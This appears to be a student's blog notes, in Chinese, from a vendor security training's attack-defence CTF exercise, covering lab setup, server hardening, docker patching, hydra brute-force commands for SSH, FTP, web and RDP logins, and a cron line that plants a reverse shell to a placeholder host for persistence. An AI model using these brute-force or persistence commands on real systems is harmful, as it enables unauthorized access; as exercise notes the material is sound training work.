【网络安全1x09】安恒厂家网络安全培训 --- day9、day10

这两天进行攻防演练。

第一天搭建环境,winserver物理机+vulhub虚拟机,物理机存在漏洞,物理机搭建cms存在漏洞,vulhub存在漏洞,另外再开启三个漏洞docker。共藏5个flag(物理机1,虚拟机1,docker3)。

第二天进行攻防演练,默认弱口令,攻击其它队伍服务器获取flag,修补自己服务器保护flag。

环境搭建

记录几个坑。

  1. vm中编辑-->编辑虚拟网卡选择vmet0桥接至物理机在使用的网卡。
  2. kali编辑网口信息vi /etc/network/interfaces
    1
    2
    3
    4
    5
    auto eth0
    iface eth0 inet static
    address [ip]
    netmask [mask]
    gateway [gw]
  3. 配置DNS(如果需要)vi /etc/resolv.conf
    1
    2
    3
    # Generated by NetworkManager
    domain
    nameserver [dns]
  4. 重启网络/etc/init.d/networking restart

攻防演练

物理机

  1. 控制面板 - 用户账户 - 删除用户账户查看是否有未知用户。

  2. 如果可操作服务器实机,也可直接计算机 - 右键属性 - 远程设置 - 关闭远程连接

  3. 网站后台登录改密码。

  4. 网站物理目录修改后台页面域名(未确认是否违规)。

  5. 网站目录下放置了flag的话,到httpd.conf增加权限,避免被扫出明文:

1
2
3
4
<Files ~ "flag.txt">
Order allow,deny
Deny from all
</Files>
  1. 配合攻击,每攻成功一个漏洞,可以seay直接找到源码对应位置修补。

虚拟机

  1. 修改弱口令:
1
sudo passwd [user]
  1. 踢出其它在线用户:
1
2
3
4
5
#查看当前在线用户
w

#踢出其它用户,例pts/0,自身是tty
pkill -kill -t [user]
  1. 查看用户组是否有新增未知用户:
1
2
3
4
5
#新增用户一般在最后一行,工作目录是/home/[user]的那个
cat /etc/passwd

#删除用户,需要踢出才能删
deluser [user]
  1. 查登录日志:
1
last
  1. 查自身活动端口:
1
netstat -pantu
  1. 查端口服务:
1
nmap -sV -p- -T4 [ip]

vulhub

  1. 查看启动docker进程:
1
2
3
4
5
# 活动容器
docker ps

# 全部容器
docker ps -a
  1. 进入容器修漏洞:
1
2
3
4
5
6
#方法一
docker exec -it [容器id] /bin/bash

#方法二
cd [docker目录]
docker-compose exec [容器名称] bash
  1. 修补完漏洞重启容器生效:
1
docker restart [容器id]

相关CVE漏洞修复指南:

另外可提前把相关漏洞修复文件、脚本、命令准备好,漏洞一确定即可立马修复。

hydra破解弱口令

2011-2019年Top100弱口令密码字典 Top1000密码字典 服务器SSH/VPS密码字典 后台管理密码字典 数据库密码字典:

https://github.com/k8gege/PasswordDic

破解命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1、破解ssh: 
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh


2、破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV


3、get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php


4、post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中 的内容是表示错误猜解的返回信息提示。)


4、破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https


5、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V

kali远程连接3389:

1
rdesktop -f -a 16 [IP]:3389

ssh连接

开局抢速度,在还未来得及更改密码前登上其他队服务器,全局搜flag:

1
find / -name flag.txt

为避免被踢下线/删用户,暂时想到两个方法,一个是往/etc/crontab加个每分钟反弹shell的定时任务:

1
echo '*/1 * * * * root echo "bash -i >& /dev/tcp/[ip]/[port] 0>&1" | bash -i' >> /etc/crontab

另外一个是直接放个脚本,死循环反弹shell。

有待测试。

docker漏洞

提前按CVE建好文件夹,备好攻击用脚本、命令,一旦确定漏洞还未修复,直接复制粘贴攻击抢手速。

文件上传漏洞

找上传点,burpsuite抓包,改后缀、改文件类型、加图片文件头,一步一步来,传上去的同时还能知道怎么修。

seay审计源码,直接搜相应函数,对判断的函数加条件,或者直接拒绝一切条件(可能违规)。

xss漏洞

找带框的一个个试,暂时只能想,而且即使找到了也不太会用。

sql注入

网站里各种点点点,找到类似[url]/?id=的路径,丢到sqlmap里跑,带cookie的burpsuite抓个包,保存本地再丢给sqlmap。